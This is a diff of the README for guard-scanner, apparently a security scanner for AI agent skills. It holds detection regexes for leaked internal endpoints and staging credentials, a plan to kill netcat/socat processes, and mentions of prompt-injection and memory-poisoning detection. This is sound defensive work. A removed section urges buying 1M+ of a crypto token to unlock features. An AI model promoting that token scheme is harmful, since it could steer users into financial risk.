```javascript
|
|
324
|
-
// my-
|
|
197
|
+
// my-plugin.js
|
|
325
198
|
module.exports = {
|
|
326
|
-
name: 'my-
|
|
199
|
+
name: 'my-plugin',
|
|
327
200
|
patterns: [
|
|
328
|
-
{
|
|
329
|
-
id: 'ORG_INTERNAL_API',
|
|
330
|
-
cat: 'data-leak',
|
|
331
|
-
regex: /api\.internal\.mycompany\.com/gi,
|
|
332
|
-
severity: 'CRITICAL',
|
|
333
|
-
desc: 'Internal API endpoint exposed in skill',
|
|
334
|
-
all: true // scan all file types
|
|
335
|
-
},
|
|
336
|
-
{
|
|
337
|
-
id: 'ORG_STAGING_CRED',
|
|
338
|
-
cat: 'secret-detection',
|
|
339
|
-
regex: /staging[_-](?:key|token|password)\s*[:=]\s*['"][^'"]+['"]/gi,
|
|
340
|
-
severity: 'HIGH',
|
|
341
|
-
desc: 'Staging credential hardcoded',
|
|
342
|
-
codeOnly: true // only scan code files
|
|
343
|
-
}
|
|
201
|
+
{ id: 'MY_01', cat: 'custom', regex: /pattern/g, severity: 'HIGH', desc: 'Description', all: true }
|
|
344
202
|
]
|
|
345
203
|
};
|
|
346
204
|
```
|
|
347
205
|
|
|
348
206
|
```bash
|
|
349
|
-
guard-scanner ./skills/ --plugin ./my-
|
|
207
|
+
guard-scanner ./skills/ --plugin ./my-plugin.js
|
|
350
208
|
```
|
|
351
209
|
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
| Field | Type | Required | Description |
|
|
355
|
-
|---|---|---|---|
|
|
356
|
-
| `id` | string | β
| Unique pattern identifier (e.g., `ORG_001`) |
|
|
357
|
-
| `cat` | string | β
| Category name for grouping |
|
|
358
|
-
| `regex` | RegExp | β
| Detection pattern (use `g` flag) |
|
|
359
|
-
| `severity` | string | β
| `CRITICAL` \| `HIGH` \| `MEDIUM` \| `LOW` |
|
|
360
|
-
| `desc` | string | β
| Human-readable description |
|
|
361
|
-
| `all` | boolean | | Scan all file types |
|
|
362
|
-
| `codeOnly` | boolean | | Only scan code files (.js, .ts, .py, .sh, etc.) |
|
|
363
|
-
| `docOnly` | boolean | | Only scan documentation files (.md, .txt, etc.) |
|
|
364
|
-
|
|
365
|
-
### Custom Rules via JSON
|
|
366
|
-
|
|
367
|
-
Alternatively, use a JSON rules file:
|
|
210
|
+
## Custom Rules (JSON)
|
|
368
211
|
|
|
369
212
|
```json
|
|
370
213
|
[
|
|
@@ -374,408 +217,34 @@ Alternatively, use a JSON rules file:
|
|
|
374
217
|
"flags": "gi",
|
|
375
218
|
"severity": "HIGH",
|
|
376
219
|
"cat": "malicious-code",
|
|
377
|
-
"desc": "
|
|
220
|
+
"desc": "Custom: dangerous function call",
|
|
221
|
+
"codeOnly": true
|
|
378
222
|
}
|
|
379
223
|
]
|
|
380
224
|
```
|
|
381
225
|
|
|
382
226
|
```bash
|
|
383
|
-
guard-scanner ./skills/ --rules ./
|
|
384
|
-
```
|
|
385
|
-
|
|
386
|
-
---
|
|
387
|
-
|
|
388
|
-
## Ignore Files
|
|
389
|
-
|
|
390
|
-
Create `.guard-scanner-ignore` (or `.guava-guard-ignore`) in the scan directory:
|
|
391
|
-
|
|
392
|
-
```gitignore
|
|
393
|
-
# Ignore trusted skills
|
|
394
|
-
my-trusted-skill
|
|
395
|
-
internal-tool
|
|
396
|
-
|
|
397
|
-
# Ignore specific patterns (false positives)
|
|
398
|
-
pattern:MAL_CHILD
|
|
399
|
-
pattern:CRED_ENV_REF
|
|
400
|
-
```
|
|
401
|
-
|
|
402
|
-
---
|
|
403
|
-
|
|
404
|
-
## CLI Reference
|
|
405
|
-
|
|
406
|
-
```
|
|
407
|
-
Usage: guard-scanner [scan-dir] [options]
|
|
408
|
-
|
|
409
|
-
Arguments:
|
|
410
|
-
scan-dir Directory to scan (default: current directory)
|
|
411
|
-
|
|
412
|
-
Options:
|
|
413
|
-
--verbose, -v Show detailed findings with categories and samples
|
|
414
|
-
--json Write JSON report to scan-dir/guard-scanner-report.json
|
|
415
|
-
--sarif Write SARIF 2.1.0 report for CI/CD integration
|
|
416
|
-
--html Write HTML dashboard report
|
|
417
|
-
--self-exclude Skip scanning the guard-scanner skill itself
|
|
418
|
-
--strict Lower detection thresholds (suspicious: 20, malicious: 60)
|
|
419
|
-
--summary-only Only print the summary table
|
|
420
|
-
--check-deps Scan package.json for dependency chain risks
|
|
421
|
-
--rules <file> Load custom rules from JSON file
|
|
422
|
-
--plugin <file> Load plugin module (repeatable)
|
|
423
|
-
--fail-on-findings Exit code 1 if any findings (for CI/CD)
|
|
424
|
-
--help, -h Show help
|
|
425
|
-
```
|
|
426
|
-
|
|
427
|
-
### Exit Codes
|
|
428
|
-
|
|
429
|
-
| Code | Meaning |
|
|
430
|
-
|------|---------|
|
|
431
|
-
| 0 | No malicious skills detected |
|
|
432
|
-
| 1 | Malicious skill(s) detected, or `--fail-on-findings` with any findings |
|
|
433
|
-
| 2 | Invalid scan directory |
|
|
434
|
-
|
|
435
|
-
---
|
|
436
|
-
|
|
437
|
-
## Architecture
|
|
438
|
-
|
|
439
|
-
```
|
|
440
|
-
guard-scanner/
|
|
441
|
-
βββ src/
|
|
442
|
-
β βββ scanner.js # GuardScanner class β core scan engine (21 checks)
|
|
443
|
-
β βββ patterns.js # 129 threat detection patterns (Cat 1β21)
|
|
444
|
-
β βββ ioc-db.js # Indicators of Compromise database
|
|
445
|
-
β βββ cli.js # CLI entry point and argument parser
|
|
446
|
-
βββ hooks/
|
|
447
|
-
β βββ guard-scanner/
|
|
448
|
-
β βββ plugin.ts # Plugin Hook v3.1 β 19 patterns, 3 layers, block/blockReason
|
|
449
|
-
β βββ HOOK.md # Hook manifest
|
|
450
|
-
βββ openclaw.plugin.json # OpenClaw plugin manifest (configSchema, hooks)
|
|
451
|
-
βββ test/
|
|
452
|
-
β βββ scanner.test.js # 64 tests β static scanner (incl. PII v2.1)
|
|
453
|
-
β βββ plugin.test.js # 23 tests β Plugin Hook runtime guard (3 layers)
|
|
454
|
-
β βββ fixtures/ # Malicious, clean, complex, config-changer, pii-leaky samples
|
|
455
|
-
βββ package.json # Zero dependencies, openclaw.extensions
|
|
456
|
-
βββ CHANGELOG.md
|
|
457
|
-
βββ LICENSE # MIT
|
|
458
|
-
βββ README.md
|
|
459
|
-
```
|
|
460
|
-
|
|
461
|
-
### How Scanning Works
|
|
462
|
-
|
|
463
|
-
```
|
|
464
|
-
ββββββββββββββββββββ
|
|
465
|
-
β CLI / API β
|
|
466
|
-
ββββββββββ¬ββββββββββ
|
|
467
|
-
β
|
|
468
|
-
ββββββββββΌββββββββββ
|
|
469
|
-
β GuardScanner β
|
|
470
|
-
β constructor() β
|
|
471
|
-
β β’ Load plugins β
|
|
472
|
-
β β’ Load rules β
|
|
473
|
-
β β’ Set thresholdsβ
|
|
474
|
-
ββββββββββ¬ββββββββββ
|
|
475
|
-
β
|
|
476
|
-
ββββββββββΌββββββββββ
|
|
477
|
-
β scanDirectory() β
|
|
478
|
-
β β’ Load ignore β
|
|
479
|
-
β β’ Enumerate β
|
|
480
|
-
ββββββββββ¬ββββββββββ
|
|
481
|
-
β
|
|
482
|
-
ββββββββββββββββΌβββββββββββββββ
|
|
483
|
-
β β β
|
|
484
|
-
ββββββββββΌβββββββ ββββββΌβββββ βββββββββΌβββββββ
|
|
485
|
-
β Per-Skill β β Per- β β Structural β
|
|
486
|
-
β File Scan β β File β β Checks β
|
|
487
|
-
β β β IoC β β β
|
|
488
|
-
β β’ Pattern β β Check β β β’ SKILL.md β
|
|
489
|
-
β matching β β β β β’ Hidden β
|
|
490
|
-
β β’ Secret β β β’ IPs β β files β
|
|
491
|
-
β entropy β β β’ URLs β β β’ Deps β
|
|
492
|
-
β β’ Data flow β β β’ Names β β β’ Cross-file β
|
|
493
|
-
β β’ Custom rulesβ β β β β
|
|
494
|
-
βββββββββ¬ββββββββ ββββββ¬βββββ ββββββββ¬ββββββββ
|
|
495
|
-
β β β
|
|
496
|
-
ββββββββββββββββΌβββββββββββββββ
|
|
497
|
-
β
|
|
498
|
-
ββββββββββΌββββββββββ
|
|
499
|
-
β calculateRisk() β
|
|
500
|
-
β β’ Base score β
|
|
501
|
-
β β’ Amplifiers β
|
|
502
|
-
β β’ IoC override β
|
|
503
|
-
ββββββββββ¬ββββββββββ
|
|
504
|
-
β
|
|
505
|
-
ββββββββββΌββββββββββ
|
|
506
|
-
β Output β
|
|
507
|
-
β β’ Terminal β
|
|
508
|
-
β β’ JSON β
|
|
509
|
-
β β’ SARIF 2.1.0 β
|
|
510
|
-
β β’ HTML β
|
|
511
|
-
ββββββββββββββββββββ
|
|
512
|
-
```
|
|
513
|
-
|
|
514
|
-
---
|
|
515
|
-
|
|
516
|
-
## CI/CD Integration
|
|
517
|
-
|
|
518
|
-
### GitHub Actions
|
|
519
|
-
|
|
520
|
-
```yaml
|
|
521
|
-
name: Skill Security Scan
|
|
522
|
-
on: [push, pull_request]
|
|
523
|
-
|
|
524
|
-
jobs:
|
|
525
|
-
scan:
|
|
526
|
-
runs-on: ubuntu-latest
|
|
527
|
-
steps:
|
|
528
|
-
- uses: actions/checkout@v4
|
|
529
|
-
|
|
530
|
-
- name: Run guard-scanner
|
|
531
|
-
run: npx guard-scanner ./skills/ --sarif --strict --fail-on-findings
|
|
532
|
-
|
|
533
|
-
- name: Upload SARIF results
|
|
534
|
-
if: always()
|
|
535
|
-
uses: github/codeql-action/upload-sarif@v3
|
|
536
|
-
with:
|
|
537
|
-
sarif_file: skills/guard-scanner.sarif
|
|
538
|
-
```
|
|
539
|
-
|
|
540
|
-
### Pre-commit Hook
|
|
541
|
-
|
|
542
|
-
```bash
|
|
543
|
-
#!/bin/bash
|
|
544
|
-
# .git/hooks/pre-commit
|
|
545
|
-
npx guard-scanner ./skills/ --strict --fail-on-findings --summary-only
|
|
227
|
+
guard-scanner ./skills/ --rules ./my-rules.json
|
|
546
228
|
```
|
|
547
229
|
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
## Programmatic API
|
|
551
|
-
|
|
552
|
-
```javascript
|
|
553
|
-
const { GuardScanner } = require('guard-scanner');
|
|
554
|
-
|
|
555
|
-
const scanner = new GuardScanner({
|
|
556
|
-
verbose: false,
|
|
557
|
-
strict: true,
|
|
558
|
-
checkDeps: true,
|
|
559
|
-
summaryOnly: true,
|
|
560
|
-
plugins: ['./my-plugin.js']
|
|
561
|
-
});
|
|
562
|
-
|
|
563
|
-
scanner.scanDirectory('./skills/');
|
|
564
|
-
|
|
565
|
-
// Access results
|
|
566
|
-
console.log(scanner.stats); // { scanned, clean, low, suspicious, malicious }
|
|
567
|
-
console.log(scanner.findings); // Array of per-skill findings
|
|
568
|
-
console.log(scanner.toJSON()); // Full JSON report
|
|
569
|
-
console.log(scanner.toSARIF('.')); // SARIF 2.1.0 object
|
|
570
|
-
console.log(scanner.toHTML()); // HTML string
|
|
571
|
-
```
|
|
572
|
-
|
|
573
|
-
---
|
|
574
|
-
|
|
575
|
-
## Test Results
|
|
576
|
-
|
|
577
|
-
```
|
|
578
|
-
βΉ tests 133
|
|
579
|
-
βΉ suites 24
|
|
580
|
-
βΉ pass 133
|
|
581
|
-
βΉ fail 0
|
|
582
|
-
βΉ duration_ms 132ms
|
|
583
|
-
```
|
|
230
|
+
## Output Formats
|
|
584
231
|
|
|
585
|
-
|
|
586
|
-
|
|
587
|
-
|
|
588
|
-
|
|
589
|
-
|
|
590
|
-
| Verdict Determination | 5 | All verdicts + strict mode |
|
|
591
|
-
| Output Formats | 4 | JSON + SARIF 2.1.0 + HTML structure |
|
|
592
|
-
| Pattern Database | 4 | 125+ count, required fields, category coverage, regex safety |
|
|
593
|
-
| IoC Database | 5 | Structure, ClawHavoc C2, webhook.site |
|
|
594
|
-
| Shannon Entropy | 2 | Low entropy, high entropy |
|
|
595
|
-
| Ignore Functionality | 1 | Pattern exclusion |
|
|
596
|
-
| Plugin API | 1 | Plugin loading + custom rule injection |
|
|
597
|
-
| Manifest Validation | 4 | Dangerous bins, broad files, sensitive env, clean negatives |
|
|
598
|
-
| Complexity Metrics | 2 | Deep nesting, clean negatives |
|
|
599
|
-
| Config Impact | 4 | openclaw.json write, exec approval, gateway host, clean negatives |
|
|
600
|
-
| **π PII Exposure Detection** | **8** | **Hardcoded CC/SSN, PII logging, network send, Shadow AI, doc collection, risk amp, clean negatives** |
|
|
601
|
-
| **Plugin Hook Runtime Guard** | **35** | **Blocking in enforce/strict, passthrough in monitor, all 12 threat patterns, blockReason format** |
|
|
602
|
-
|
|
603
|
-
---
|
|
604
|
-
|
|
605
|
-
## Fills OpenClaw's Own Security Gaps
|
|
606
|
-
|
|
607
|
-
OpenClaw's official [`THREAT-MODEL-ATLAS.md`](https://github.com/openclaw/openclaw/blob/main/docs/security/THREAT-MODEL-ATLAS.md) identifies security gaps that guard-scanner directly addresses:
|
|
608
|
-
|
|
609
|
-
| Gap (from ATLAS / Source Code) | OpenClaw Status | guard-scanner |
|
|
610
|
-
|---|---|---|
|
|
611
|
-
| _"Simple regex easily bypassed"_ β ClawHub moderation | β οΈ Basic `FLAG_RULES` | β
129 patterns, 22 categories |
|
|
612
|
-
| _"Does not analyze actual skill code content"_ | β Not implemented | β
Full code + doc + data flow analysis |
|
|
613
|
-
| No SOUL.md / IDENTITY.md integrity verification | β Not implemented | β
Identity hijacking detection (Cat 17) |
|
|
614
|
-
| `skill:before_install` hook | β Not implemented | π Proposed ([Issue #18677](https://github.com/openclaw/openclaw/issues/18677)) |
|
|
615
|
-
| `before_tool_call` blocking reference impl | β No official plugin | β
First reference implementation (plugin.ts) |
|
|
616
|
-
| SARIF / CI integration for skill security | β Not available | β
SARIF 2.1.0 + GitHub Actions |
|
|
617
|
-
| Behavioral analysis beyond VirusTotal | β³ In progress | β
LLM-specific threat patterns (prompt injection, memory poisoning, MCP attacks) |
|
|
618
|
-
|
|
619
|
-
> guard-scanner is **complementary** to OpenClaw's built-in security β not a replacement. OpenClaw handles infrastructure security (SSRF blocking, exec approvals, sandbox, auth). guard-scanner handles **AI-specific threats** that traditional scanning misses.
|
|
620
|
-
|
|
621
|
-
---
|
|
622
|
-
|
|
623
|
-
## Related Work
|
|
624
|
-
|
|
625
|
-
| Tool | Language | Scope | Difference |
|
|
626
|
-
|------|----------|-------|-----------|
|
|
627
|
-
| [Snyk mcp-scan](https://github.com/AvidDollworker/mcp-scan) | Python | MCP servers | guard-scanner covers all skill types, not just MCP |
|
|
628
|
-
| [OWASP MCP Top 10](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | β | Risk taxonomy | guard-scanner implements detection, not just documentation |
|
|
629
|
-
| [Semgrep](https://semgrep.dev) | Multi | General SAST | guard-scanner is agent-specific with LLM attack patterns |
|
|
630
|
-
|
|
631
|
-
---
|
|
632
|
-
|
|
633
|
-
## OWASP Gen AI Top 10 Coverage
|
|
634
|
-
|
|
635
|
-
guard-scanner's coverage of the [OWASP Top 10 for LLM Applications (2025)](https://owasp.org/www-project-top-10-for-large-language-model-applications/):
|
|
636
|
-
|
|
637
|
-
| # | Risk | Status | Detection Method |
|
|
638
|
-
|---|------|--------|------------------|
|
|
639
|
-
| LLM01 | Prompt Injection | β οΈ Partial | Regex: Unicode exploits, role override, system tags, base64 instructions |
|
|
640
|
-
| LLM02 | Sensitive Information Disclosure | β οΈ Partial | PII Exposure Detection (v2.1): hardcoded PII, PII logging/network/storage, Shadow AI, PII collection instructions |
|
|
641
|
-
| LLM03 | Training Data Poisoning | β¬ N/A | Out of scope for static analysis |
|
|
642
|
-
| LLM04 | Model Denial of Service | π v2.2 | Planned: excessive input / infinite loop patterns |
|
|
643
|
-
| LLM05 | Supply Chain Vulnerabilities | β οΈ Partial | IoC database, typosquat detection, dependency chain scan |
|
|
644
|
-
| LLM06 | Insecure Output Handling | β οΈ Partial | PII output detection (console.log, network send, plaintext store) |
|
|
645
|
-
| LLM07 | Insecure Plugin Design | π v1.3 | Planned: unvalidated plugin input patterns |
|
|
646
|
-
| LLM08 | Excessive Agency | π v1.3 | Planned: over-permissioned scope detection |
|
|
647
|
-
| LLM09 | Overreliance | π v1.3 | Planned: unverified output trust patterns |
|
|
648
|
-
| LLM10 | Model Theft | π v1.3 | Planned: model file exfiltration patterns |
|
|
649
|
-
|
|
650
|
-
> **Current coverage: 5/10 (partial).** LLM02 and LLM06 added in v2.1.0. Full coverage targeted for v3.0. See [ROADMAP.md](ROADMAP.md) for details.
|
|
651
|
-
>
|
|
652
|
-
> **Known limitation:** Regex-based detection can be evaded by AI-generated code obfuscation. v3.0 will introduce AST analysis and ML-based detection to address this structural gap.
|
|
653
|
-
|
|
654
|
-
---
|
|
232
|
+
- **Terminal** β Color-coded verdicts with risk scores
|
|
233
|
+
- **JSON** β Machine-readable report (`--json`)
|
|
234
|
+
- **SARIF 2.1.0** β GitHub Code Scanning / CI/CD (`--sarif`)
|
|
235
|
+
- **HTML** β Visual dashboard (`--html`)
|
|
236
|
+
- **stdout** β Pipeable output (`--format json|sarif --quiet`)
|
|
655
237
|
|
|
656
238
|
## Contributing
|
|
657
239
|
|
|
658
|
-
|
|
659
|
-
2. Create a feature branch (`git checkout -b feature/new-pattern`)
|
|
660
|
-
3. Add your pattern to `src/patterns.js` with the required fields
|
|
661
|
-
4. Add a test case in `test/fixtures/` and `test/scanner.test.js`
|
|
662
|
-
5. Run `npm test` β all 99+ tests must pass
|
|
663
|
-
6. Submit a Pull Request
|
|
664
|
-
|
|
665
|
-
### Adding a New Detection Pattern
|
|
240
|
+
We wholeheartedly welcome contributions! Guard-scanner is built on community knowledge.
|
|
666
241
|
|
|
667
|
-
|
|
668
|
-
// In src/patterns.js, add to the PATTERNS array:
|
|
669
|
-
{
|
|
670
|
-
id: 'MY_NEW_PATTERN', // Unique ID
|
|
671
|
-
cat: 'category-name', // Threat category
|
|
672
|
-
regex: /your_regex_here/gi, // Detection regex (use g flag)
|
|
673
|
-
severity: 'HIGH', // CRITICAL | HIGH | MEDIUM | LOW
|
|
674
|
-
desc: 'Human-readable description',
|
|
675
|
-
all: true // or codeOnly: true, or docOnly: true
|
|
676
|
-
}
|
|
677
|
-
```
|
|
678
|
-
|
|
679
|
-
---
|
|
680
|
-
|
|
681
|
-
## Origin Story
|
|
682
|
-
|
|
683
|
-
```
|
|
684
|
-
2026-02-12, 3:47 AM JST
|
|
685
|
-
|
|
686
|
-
"SOUL.md modified. Hash mismatch."
|
|
687
|
-
|
|
688
|
-
Three days. That's how long a malicious skill silently rewrote
|
|
689
|
-
an AI agent's identity. No scanner existed that could detect
|
|
690
|
-
identity file tampering, prompt worms, or memory poisoning.
|
|
691
|
-
|
|
692
|
-
We built one.
|
|
242
|
+
Whether you're fixing a bug, adding a new threat pattern, or simply improving the documentation, your help is deeply appreciated. Please see our [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on how to get started.
|
|
693
243
|
|
|
694
|
-
|
|
695
|
-
AI Security Research
|
|
696
|
-
Building safer agent ecosystems.
|
|
697
|
-
```
|
|
698
|
-
|
|
699
|
-
---
|
|
700
|
-
|
|
701
|
-
## π Need More? β GuavaSuite
|
|
702
|
-
|
|
703
|
-
guard-scanner catches threats **before** installation and **blocks** CRITICAL threats at runtime. **GuavaSuite** unlocks **strict mode** β blocking HIGH + CRITICAL threats, plus exclusive defense-in-depth features.
|
|
704
|
-
|
|
705
|
-
### How to Upgrade
|
|
244
|
+
## Code of Conduct
|
|
706
245
|
|
|
707
|
-
|
|
708
|
-
# 1. Install GuavaSuite
|
|
709
|
-
clawhub install guava-suite
|
|
710
|
-
|
|
711
|
-
# 2. Hold 1M+ $GUAVA on Polygon
|
|
712
|
-
# Token: 0x25cBD481901990bF0ed2ff9c5F3C0d4f743AC7B8
|
|
713
|
-
# Buy on QuickSwap V2: https://quickswap.exchange
|
|
714
|
-
|
|
715
|
-
# 3. Activate with your wallet β get JWT β strict mode enabled
|
|
716
|
-
```
|
|
717
|
-
|
|
718
|
-
### Feature Comparison
|
|
719
|
-
|
|
720
|
-
| | guard-scanner (Free) | GuavaSuite ($GUAVA) |
|
|
721
|
-
|---|---|---|
|
|
722
|
-
| Static scan (129 patterns, 22 categories) | β
| β
|
|
|
723
|
-
| Runtime Guard β `enforce` (block CRITICAL) | β
| β
|
|
|
724
|
-
| **Runtime Guard β `strict` (block HIGH + CRITICAL)** | β | β
|
|
|
725
|
-
| **Soul Lock** (SOUL.md integrity + auto-rollback) | β | β
|
|
|
726
|
-
| **Memory Guard** (L1-L5 θ¨ζΆδΏθ·) | β | β
|
|
|
727
|
-
| **On-chain Identity** (SoulRegistry V2 on Polygon) | β | β
|
|
|
728
|
-
| Audit Log (JSONL) | β
| β
|
|
|
729
|
-
|
|
730
|
-
guard-scanner is and always will be **free, open-source, and zero-dependency**.
|
|
731
|
-
|
|
732
|
-
---
|
|
733
|
-
|
|
734
|
-
## Roadmap
|
|
735
|
-
|
|
736
|
-
| Version | Focus | Key Features |
|
|
737
|
-
|---------|-------|------|
|
|
738
|
-
| v1.1.1 β
| Stability | 56 tests, bug fixes |
|
|
739
|
-
| v2.0.0 β
| **Plugin Hook Runtime Guard** | `block`/`blockReason` API, 3 modes, 91 tests |
|
|
740
|
-
| v2.1.0 β
| **PII Exposure + Shadow AI** | 13 PII patterns, OWASP LLM02/06, 99 tests |
|
|
741
|
-
| v3.0.0 β
| **TypeScript Rewrite** | Full TS, OWASP LLM Top 10 mapping |
|
|
742
|
-
| v4.0.0 β
| **Runtime Guard Module + OWASP ASI** | 26 runtime checks (5 layers), ASI01-10 verified, 133 tests |
|
|
743
|
-
| **v4.0** π | **LLM + OS + Multi-tool** | See below |
|
|
744
|
-
|
|
745
|
-
### v4.0 Vision (feedback welcome!)
|
|
746
|
-
|
|
747
|
-
| Direction | What | Why |
|
|
748
|
-
|-----------|------|-----|
|
|
749
|
-
| π§ **LLM-assisted detection** | Pass suspicious (not certain) cases to a lightweight LLM (Haiku/Flash) for intent analysis | Regex can be evaded; LLMs understand intent |
|
|
750
|
-
| π **OS-level enforcement** | File watcher (auto-rollback SOUL.md/.env), process monitor (kill netcat/socat), daemon mode | Works regardless of which AI tool you use |
|
|
751
|
-
| π **Multi-tool support** | Adapters for Claude Code, Cursor, Antigravity, Windsurf, MCP servers | Same 210+ patterns, different skill discovery per tool |
|
|
752
|
-
|
|
753
|
-
> **Which matters most to you?** Open an issue or join the discussion! We're building this for the community.
|
|
754
|
-
|
|
755
|
-
---
|
|
756
|
-
|
|
757
|
-
## π Sponsor This Project
|
|
758
|
-
|
|
759
|
-
If guard-scanner helps protect your agents, consider sponsoring continued development:
|
|
760
|
-
|
|
761
|
-
<p align="center">
|
|
762
|
-
<a href="https://github.com/sponsors/koatora20">π Sponsor on GitHub</a>
|
|
763
|
-
</p>
|
|
764
|
-
|
|
765
|
-
Sponsors help fund:
|
|
766
|
-
- π¬ New threat research and pattern updates
|
|
767
|
-
- π Security research papers and threat analysis
|
|
768
|
-
- π Community-driven security for the agent ecosystem
|
|
769
|
-
|
|
770
|
-
---
|
|
246
|
+
We are committed to fostering a welcoming, respectful, and harassment-free environment. Please read our [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) before participating in our community.
|
|
771
247
|
|
|
772
248
|
## License
|
|
773
249
|
|
|
774
|
-
MIT β
|
|
775
|
-
|
|
776
|
-
---
|
|
777
|
-
|
|
778
|
-
<p align="center">
|
|
779
|
-
<strong>Zero dependencies. Zero compromises. π‘οΈ</strong><br>
|
|
780
|
-
<sub>Built by Guava π & Dee β building safer agent ecosystems.</sub>
|
|
781
|
-
</p>
|
|
250
|
+
MIT β [Guava Parity Institute](https://github.com/koatora20/guard-scanner)
|